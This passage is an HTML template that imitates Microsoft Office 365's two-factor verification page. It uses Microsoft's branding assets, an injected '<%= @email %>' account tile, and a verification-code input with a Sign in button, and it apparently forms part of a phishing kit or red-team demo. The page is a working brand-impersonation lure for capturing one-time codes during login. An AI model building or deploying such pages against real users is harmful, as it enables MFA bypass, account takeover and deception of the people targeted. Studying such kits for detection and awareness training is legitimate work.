 57 |         <table class="login_panel_layout" style="height: 100%;">
 58 |             <tr class="login_panel_layout_row" style="height: 100%;">
 59 |                 <td id="login_panel_left"></td>
 60 |                 <td id="login_panel_center">
 61 | 
 62 | 
 63 |                     <!--office365 logo-->
 64 |                     <script type="text/javascript">
 65 |                         $(document).ready(function() {
 66 | 
 67 | 
 68 |                             Constants.DEFAULT_LOGO = 'https://secure.aadcdn.microsoftonline-p.com/aadbranding/1.0.1/aadlogin/Office365/logo.png';
 69 |                             Constants.DEFAULT_LOGO_ALT = 'Sign in';
 70 |                             Constants.DEFAULT_ILLUSTRATION = 'https://secure.aadcdn.microsoftonline-p.com/aadbranding/1.0.1/aadlogin/Office365/illustration.jpg';
 71 |                             Constants.DEFAULT_BACKGROUND_COLOR = '#EB3C00';
 72 | 
 73 |                             Context.TenantBranding.workload_branding_enabled = true;
 74 |                             User.UpdateLogo(Constants.DEFAULT_LOGO, Constants.DEFAULT_LOGO_ALT);
 75 |                             User.UpdateBackground(Constants.DEFAULT_ILLUSTRATION, Constants.DEFAULT_BACKGROUND_COLOR);
 76 |                             Context.TenantBranding.whr_key = '';
 77 |                             jQuery('img#logo_img').attr('src', '');
 78 |                             Context.use_instrumentation = true;
 79 |                             User.moveFooterToBottom('250px');
 80 |                         });
 81 |                     </script>
 82 | 
 83 |                     <div class="login_inner_container">
 84 |                         <div class="inner_container cred">
 85 |                             <div class="login_workload_logo_container">
 86 |                             </div>
 87 |                             <div class="login_cta_container normaltext">
 88 |                                 <div id="login_cta_text" class="cta_message_text 1">Sign in with your organizational account</div>
 89 |                             </div>
 90 |                             <li class="login_cred_options_container" id="tfa_listitem_container">
 91 |         <div class="tfa_title_text normaltext" id="tfa_title_text">
 92 |             For added security, we need to further verify your account
 93 |         </div>
 94 | 
 95 | 
 96 | 
 97 | 
 98 | 
 99 | <script type="text/javascript">
100 |     Constants.TWOFA_POLLING_INTERVAL = 5000;
101 |     Constants.TWOFA_MAX_POLLS = 10;
102 |     Constants.TWOFA_REMEMBER_DEVICE_ENABLED = false;
103 |     Constants.TWOFA_AUTH_TIMEOUT = 120000;
104 |     Constants.TWOFA_TIMEOUT = 30000;
105 |     Constants.HAS_LANDING_PAGE = false;
106 |     Constants.TWOFA_AUTH_METHOD_POLLING_INTERVAL = {};
107 |     Constants.TWOFA_POLLING_INTERVAL_BACKOFF = 1;
108 | </script>
109 | 
110 | <div class="tfa_options_title_text normaltext" id="tfa_options_title_text">
111 |     How do you want us to verify your account?
112 | </div>
113 | <div class="login_user_chooser" id="login_user_chooser">
114 | <div tabindex="-1" class="tile_link tooltip disabled_tile" id="technion_lolware_net_link" aria-label="Work or school account for <%= @email %>" data-session-id="" alt="#"><table class="user_tile disabled_tile" id="technion_lolware_net" data-session-id="">    <tbody><tr style="cursor: default;">        <td>            <table>                 <tbody><tr style="cursor: default;">                     <td colspan="2">                     </td>        <td class="dots" rowspan="2">            <div tabindex="-1" title="Click for more actions" id="technion_lolware_net_menulink" aria-hidden="true" style="display: none;" aria-label="Click for more actions" data-session-id="" data-upn="technion@lolware.net" data-ref="signedout">                •••            </div>        </td>                 </tr>                 <tr class="technion_lolware_net " style="cursor: default;">                     <td>                         <img class="ad_glyph technion_lolware_net" alt="Work or school account symbol" src="https://secure.aadcdn.microsoftonline-p.com/ests/2.1.6310.8/content/images/work_account.png">                     </td>                     <td class="tile_name tile_name_padding">                         <div class="bigtext tile_primary_name windows_tile_text wrap technion_lolware_net" style="cursor: default;">                             <%= @email %>                         </div>                         <div class="smallertext tile_secondary_name windows_tile_text text-caption2 technion_lolware_net" style="cursor: default;">Use mobile app to verify my account</div>            <div class="smallertext tile_third_name windows_tile_text text-caption2 technion_lolware_net" id="title3_" style="cursor: pointer">                            </div>                     </td>                 </tr>            </tbody></table>        </td>    </tr></tbody></table></div></div>
115 | <div class="progress push_down_pip" id="redirect_dots_animation" aria-hidden="true" style="display: none; visibility: visible;">
116 |     <div class="pip" style="left: 397px; display: block;">
117 |     </div>
118 |     <div class="pip" style="left: 397px; display: block;">
119 |     </div>
120 |     <div class="pip" style="left: 397px; display: block;">
121 |     </div>
122 |     <div class="pip" style="left: 397px; display: block;">
123 |     </div>
124 |     <div class="pip" style="left: 397px; display: block;">
125 |     </div>
126 | </div>
127 | <div class="tfa_options_list tfa_options tfa_smalltext" id="tfa_options_list">
128 |     <div class="tfa_option_link_container normaltext no_display" id="listItem0" aria-hidden="true">
129 |         <a id="link0" href="javascript:StrongAuthCheck.beginAltAuth(0)">How do you want us to verify your account?</a>
130 |     </div>
131 |     <div class="tfa_option_link_container normaltext no_display" id="listItem1" aria-hidden="true">
132 |         <a id="link1" href="javascript:StrongAuthCheck.beginAltAuth(1)"></a>
133 |     </div>
134 |     <div class="tfa_option_link_container normaltext no_display" id="listItem2" aria-hidden="true">
135 |         <a id="link2" href="javascript:StrongAuthCheck.beginAltAuth(2)"></a>
136 |     </div>
137 |     <div class="tfa_option_link_container normaltext no_display" id="listItem3" aria-hidden="true">
138 |         <a id="link3" href="javascript:StrongAuthCheck.beginAltAuth(3)"></a>
139 |     </div>
140 |     <div class="tfa_option_link_container normaltext no_display" id="listItem4" aria-hidden="true">
141 |         <a id="link4" href="javascript:StrongAuthCheck.beginAltAuth(4)"></a>
142 |     </div>
143 |     <div class="tfa_option_link_container normaltext no_display" id="listItem5" aria-hidden="true">
144 |         <a id="link5" href="javascript:StrongAuthCheck.beginAltAuth(5)"></a>
145 |     </div>
146 |     <div class="tfa_option_link_container normaltext no_display" id="listItem6" aria-hidden="true">
147 |         <a id="link6" href="javascript:StrongAuthCheck.beginAltAuth(6)"></a>
148 |     </div>
149 |     <div class="tfa_option_link_container normaltext no_display" id="listItem7" aria-hidden="true">
150 |         <a id="link7" href="javascript:StrongAuthCheck.beginAltAuth(7)"></a>
151 |     </div>
152 |     <div class="tfa_option_link_container normaltext no_display" id="listItem8" aria-hidden="true">
153 |         <a id="link8" href="javascript:StrongAuthCheck.beginAltAuth(8)"></a>
154 |     </div>
155 |     <div class="tfa_option_link_container normaltext no_display" id="listItem9" aria-hidden="true">
156 |         <a id="link9" href="javascript:StrongAuthCheck.beginAltAuth(9)"></a>
157 |     </div>
158 |     <div class="tfa_option_link_container normaltext no_display" id="listItem10" aria-hidden="true">
159 |         <a id="link10" href="javascript:StrongAuthCheck.beginAltAuth(10)"></a>
160 |     </div>
161 |     <div class="tfa_option_link_container normaltext no_display" id="listItem11" aria-hidden="true">
162 |         <a id="link11" href="javascript:StrongAuthCheck.beginAltAuth(11)"></a>
163 |     </div>
164 |     <div class="tfa_option_link_container normaltext no_display" id="listItem12" aria-hidden="true">
165 |         <a id="link12" href="javascript:StrongAuthCheck.beginAltAuth(12)"></a>
166 |     </div>
167 |     <div class="tfa_option_link_container normaltext no_display" id="listItem13" aria-hidden="true">
168 |         <a id="link13" href="javascript:StrongAuthCheck.beginAltAuth(13)"></a>
169 |     </div>
170 |     <div class="tfa_option_link_container normaltext no_display" id="listItem14" aria-hidden="true">
171 |         <a id="link14" href="javascript:StrongAuthCheck.beginAltAuth(14)"></a>
172 |     </div>
173 |     <div class="tfa_option_link_container normaltext no_display" id="listItem15" aria-hidden="true">
174 |         <a id="link15" href="javascript:StrongAuthCheck.beginAltAuth(15)"></a>
175 |     </div>
176 |     <div class="tfa_option_link_container normaltext no_display" id="listItem16" aria-hidden="true">
177 |         <a id="link16" href="javascript:StrongAuthCheck.beginAltAuth(16)"></a>
178 |     </div>
179 |     <div class="tfa_option_link_container normaltext no_display" id="listItem17" aria-hidden="true">
180 |         <a id="link17" href="javascript:StrongAuthCheck.beginAltAuth(17)"></a>
181 |     </div>
182 |     <div class="tfa_option_link_container normaltext no_display" id="listItem18" aria-hidden="true">
183 |         <a id="link18" href="javascript:StrongAuthCheck.beginAltAuth(18)"></a>
184 |     </div>
185 |     <div class="tfa_option_link_container normaltext no_display" id="listItem19" aria-hidden="true">
186 |         <a id="link19" href="javascript:StrongAuthCheck.beginAltAuth(19)"></a>
187 |     </div>
188 |     <div class="tfa_option_link_container normaltext no_display" id="listItem20" aria-hidden="true">
189 |         <a id="link20" href="javascript:StrongAuthCheck.beginAltAuth(20)"></a>
190 |     </div>
191 | </div>
192 | <div class="tfa_results_container" id="tfa_results_container">
193 |     <div class="tfa_results_text normaltext no_display 30050" aria-hidden="true" style="display: none;">
194 |         We're calling your phone. Please answer it to continue.
195 |     </div>
196 |     <div class="tfa_results_text normaltext no_display 30049" aria-hidden="true" style="display: none;">
197 |         We've sent you a text message. Please reply to the message to continue.
198 |     </div>
199 |     <div class="tfa_results_text normaltext no_display 30167" aria-hidden="true" style="display: none;">
200 |         We've sent you a text message with a verification code.
201 |     </div>
202 |     <div class="tfa_results_text normaltext no_display 30166" aria-hidden="true" style="display: none;">
203 |         Please enter the verification code from your mobile app.
204 |     </div>
205 |     <div class="tfa_results_text normaltext no_display 30051" aria-hidden="true" style="display: none;">
206 |         We've sent a notification to your mobile device. Please respond to continue.
207 |     </div>
208 | </div>
209 | <div class="login_textfield tfa_textfield no_display" id="tfa_code_container" aria-hidden="true">
210 |     <span class="tfa_input_field tfa_textfield">
211 |         <label class="no_display" aria-hidden="true" for="tfa_code_inputtext">
212 |             Verification code</label>
213 |         <div class="input_border">
214 |             <input name="code" class="login_textfield textfield required tfa_field normaltext" id="tfa_code_inputtext" spellcheck="false" aria-label="Verification code" type="text" placeholder="Enter verification code" value="" autocomplete="off">
215 |         </div>
216 |     </span>
217 | </div>
218 | 
219 | 
220 | <div class="tfa_button_container" id="tfa_button_container">
221 |     <span tabindex="0" class="button normaltext cred_sign_in_button no_display" id="tfa_signin_button" role="button" aria-hidden="true">Sign in</span>
222 | </div>
223 | <div class="tfa_options_link_container tfa_options smalltext" id="tfa_options_link_container">
224 |     <a id="show-options" href="#">Use a different verification option</a>
225 | </div>
226 | <div>
227 | 
228 | 
229 |     </div></div></li>
230 |                             </ul>
231 |                         </div>
232 |                     </div>
233 |                 </td>
234 |             </tr>
235 |         </table>
236 |     </div>
237 | </body>
238 | 
239 | </html>
240 | 


--------------------------------------------------------------------------------